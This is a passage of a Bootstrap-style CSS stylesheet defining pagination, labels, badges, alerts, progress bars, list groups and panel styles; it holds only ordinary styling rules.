#777777;\n}\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: 20px 0;\n border-radius: 4px;\n}\n.pagination > li {\n display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n position: relative;\n float: left;\n padding: 6px 12px;\n line-height: 1.42857143;\n text-decoration: none;\n color: #337ab7;\n background-color: #fff;\n border: 1px solid #ddd;\n margin-left: -1px;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n margin-left: 0;\n border-bottom-left-radius: 4px;\n border-top-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n border-bottom-right-radius: 4px;\n border-top-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n z-index: 2;\n color: #23527c;\n background-color: #eeeeee;\n border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n z-index: 3;\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n cursor: default;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n color: #777777;\n background-color: #fff;\n border-color: #ddd;\n cursor: not-allowed;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n border-bottom-left-radius: 6px;\n border-top-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n border-bottom-right-radius: 6px;\n border-top-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n border-bottom-left-radius: 3px;\n border-top-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n border-bottom-right-radius: 3px;\n border-top-right-radius: 3px;\n}\n.pager {\n padding-left: 0;\n margin: 20px 0;\n list-style: none;\n text-align: center;\n}\n.pager li {\n display: inline;\n}\n.pager li > a,\n.pager li > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.pager .next > a,\n.pager .next > span {\n float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n color: #777777;\n background-color: #fff;\n cursor: not-allowed;\n}\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: #fff;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.label:empty {\n display: none;\n}\n.btn .label {\n position: relative;\n top: -1px;\n}\n.label-default {\n background-color: #777777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n background-color: #5e5e5e;\n}\n.label-primary {\n background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n background-color: #286090;\n}\n.label-success {\n background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n background-color: #449d44;\n}\n.label-info {\n background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n background-color: #31b0d5;\n}\n.label-warning {\n background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n background-color: #ec971f;\n}\n.label-danger {\n background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n background-color: #c9302c;\n}\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: 12px;\n font-weight: bold;\n color: #fff;\n line-height: 1;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: #777777;\n border-radius: 10px;\n}\n.badge:empty {\n display: none;\n}\n.btn .badge {\n position: relative;\n top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n top: 0;\n padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.list-group-item > .badge {\n float: right;\n}\n.list-group-item > .badge + .badge {\n margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n margin-left: 3px;\n}\n.jumbotron {\n padding-top: 30px;\n padding-bottom: 30px;\n margin-bottom: 30px;\n color: inherit;\n background-color: #eeeeee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n color: inherit;\n}\n.jumbotron p {\n margin-bottom: 15px;\n font-size: 21px;\n font-weight: 200;\n}\n.jumbotron > hr {\n border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n border-radius: 6px;\n padding-left: 15px;\n padding-right: 15px;\n}\n.jumbotron .container {\n max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n .jumbotron {\n padding-top: 48px;\n padding-bottom: 48px;\n }\n .container .jumbotron,\n .container-fluid .jumbotron {\n padding-left: 60px;\n padding-right: 60px;\n }\n .jumbotron h1,\n .jumbotron .h1 {\n font-size: 63px;\n }\n}\n.thumbnail {\n display: block;\n padding: 4px;\n margin-bottom: 20px;\n line-height: 1.42857143;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 4px;\n -webkit-transition: border 0.2s ease-in-out;\n -o-transition: border 0.2s ease-in-out;\n transition: border 0.2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n margin-left: auto;\n margin-right: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n border-color: #337ab7;\n}\n.thumbnail .caption {\n padding: 9px;\n color: #333333;\n}\n.alert {\n padding: 15px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.alert h4 {\n margin-top: 0;\n color: inherit;\n}\n.alert .alert-link {\n font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n margin-bottom: 0;\n}\n.alert > p + p {\n margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n}\n.alert-success {\n background-color: #dff0d8;\n border-color: #d6e9c6;\n color: #3c763d;\n}\n.alert-success hr {\n border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n color: #2b542c;\n}\n.alert-info {\n background-color: #d9edf7;\n border-color: #bce8f1;\n color: #31708f;\n}\n.alert-info hr {\n border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n color: #245269;\n}\n.alert-warning {\n background-color: #fcf8e3;\n border-color: #faebcc;\n color: #8a6d3b;\n}\n.alert-warning hr {\n border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n color: #66512c;\n}\n.alert-danger {\n background-color: #f2dede;\n border-color: #ebccd1;\n color: #a94442;\n}\n.alert-danger hr {\n border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n@keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n.progress {\n overflow: hidden;\n height: 20px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: 12px;\n line-height: 20px;\n color: #fff;\n text-align: center;\n background-color: #337ab7;\n -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n -webkit-transition: width 0.6s ease;\n -o-transition: width 0.6s ease;\n transition: width 0.6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n -webkit-animation: progress-bar-stripes 2s linear infinite;\n -o-animation: progress-bar-stripes 2s linear infinite;\n animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.media {\n margin-top: 15px;\n}\n.media:first-child {\n margin-top: 0;\n}\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n.media-body {\n width: 10000px;\n}\n.media-object {\n display: block;\n}\n.media-object.img-thumbnail {\n max-width: none;\n}\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n.media-middle {\n vertical-align: middle;\n}\n.media-bottom {\n vertical-align: bottom;\n}\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n.list-group {\n margin-bottom: 20px;\n padding-left: 0;\n}\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n margin-bottom: -1px;\n background-color: #fff;\n border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n}\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\na.list-group-item,\nbutton.list-group-item {\n color: #555;\n}\na.list-group-item .list-group-item-heading,\nbutton.list-group-item .list-group-item-heading {\n color: #333;\n}\na.list-group-item:hover,\nbutton.list-group-item:hover,\na.list-group-item:focus,\nbutton.list-group-item:focus {\n text-decoration: none;\n color: #555;\n background-color: #f5f5f5;\n}\nbutton.list-group-item {\n width: 100%;\n text-align: left;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n background-color: #eeeeee;\n color: #777777;\n cursor: not-allowed;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n color: #777777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n z-index: 2;\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n color: #c7ddef;\n}\n.list-group-item-success {\n color: #3c763d;\n background-color: #dff0d8;\n}\na.list-group-item-success,\nbutton.list-group-item-success {\n color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading,\nbutton.list-group-item-success .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-success:hover,\nbutton.list-group-item-success:hover,\na.list-group-item-success:focus,\nbutton.list-group-item-success:focus {\n color: #3c763d;\n background-color: #d0e9c6;\n}\na.list-group-item-success.active,\nbutton.list-group-item-success.active,\na.list-group-item-success.active:hover,\nbutton.list-group-item-success.active:hover,\na.list-group-item-success.active:focus,\nbutton.list-group-item-success.active:focus {\n color: #fff;\n background-color: #3c763d;\n border-color: #3c763d;\n}\n.list-group-item-info {\n color: #31708f;\n background-color: #d9edf7;\n}\na.list-group-item-info,\nbutton.list-group-item-info {\n color: #31708f;\n}\na.list-group-item-info .list-group-item-heading,\nbutton.list-group-item-info .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-info:hover,\nbutton.list-group-item-info:hover,\na.list-group-item-info:focus,\nbutton.list-group-item-info:focus {\n color: #31708f;\n background-color: #c4e3f3;\n}\na.list-group-item-info.active,\nbutton.list-group-item-info.active,\na.list-group-item-info.active:hover,\nbutton.list-group-item-info.active:hover,\na.list-group-item-info.active:focus,\nbutton.list-group-item-info.active:focus {\n color: #fff;\n background-color: #31708f;\n border-color: #31708f;\n}\n.list-group-item-warning {\n color: #8a6d3b;\n background-color: #fcf8e3;\n}\na.list-group-item-warning,\nbutton.list-group-item-warning {\n color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading,\nbutton.list-group-item-warning .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-warning:hover,\nbutton.list-group-item-warning:hover,\na.list-group-item-warning:focus,\nbutton.list-group-item-warning:focus {\n color: #8a6d3b;\n background-color: #faf2cc;\n}\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\nbutton.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus,\nbutton.list-group-item-warning.active:focus {\n color: #fff;\n background-color: #8a6d3b;\n border-color: #8a6d3b;\n}\n.list-group-item-danger {\n color: #a94442;\n background-color: #f2dede;\n}\na.list-group-item-danger,\nbutton.list-group-item-danger {\n color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading,\nbutton.list-group-item-danger .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-danger:hover,\nbutton.list-group-item-danger:hover,\na.list-group-item-danger:focus,\nbutton.list-group-item-danger:focus {\n color: #a94442;\n background-color: #ebcccc;\n}\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\nbutton.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus,\nbutton.list-group-item-danger.active:focus {\n color: #fff;\n background-color: #a94442;\n border-color: #a94442;\n}\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n.panel {\n margin-bottom: 20px;\n background-color: #fff;\n border: 1px solid transparent;\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.panel-body {\n padding: 15px;\n}\n.panel-heading {\n padding: 10px 15px;\n border-bottom: 1px solid transparent;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n color: inherit;\n}\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: 16px;\n color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n color: inherit;\n}\n.panel-footer {\n padding: 10px 15px;\n background-color: #f5f5f5;\n border-top: 1px solid #ddd;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n border-top: 0;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n border-bottom: 0;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n border-top-width: 0;\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n padding-left: 15px;\n padding-right: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n border-bottom-left-radius: 3px;\n border-bottom-right-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n border-bottom: 0;\n}\n.panel > .table-responsive {\n border: 0;\n margin-bottom: 0;\n}\n.panel-group {\n margin-bottom: 20px;\n}\n.panel-group .panel {\n margin-bottom: 0;\n border-radius: 4px;\n}\n.panel-group .panel + .panel {\n margin-top: 5px;\n}\n.panel-group .panel-heading {\n border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n border-bottom: 1px solid #ddd;\n}\n.panel-default {\n border-color: #ddd;\n}\n.panel-default > .panel-heading {\n color: #333333;\n background-color: #f5f5f5;\n border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ddd;\n}\n.panel-default > .panel-heading .badge {\n color: #f5f5f5;\n background-color: #333333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ddd;\n}\n.panel-primary {\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #337ab7;\n}\n.panel-success {\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n color: #3c763d;\n background-color: #dff0d8;\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n color: #dff0d8;\n background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #d6e9c6;\n}\n.panel-info {\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n color: #31708f;\n background-color: #d9edf7;\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n color: #d9edf7;\n background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #bce8f1;\n}\n.panel-warning {\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n color: #8a6d3b;\n background-color: #fcf8e3;\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n color: #fcf8e3;\n background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #faebcc;\n}\n.panel-danger {\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n color: #a94442;\n background-color: #f2dede;\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n color: #f2dede;\n background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n 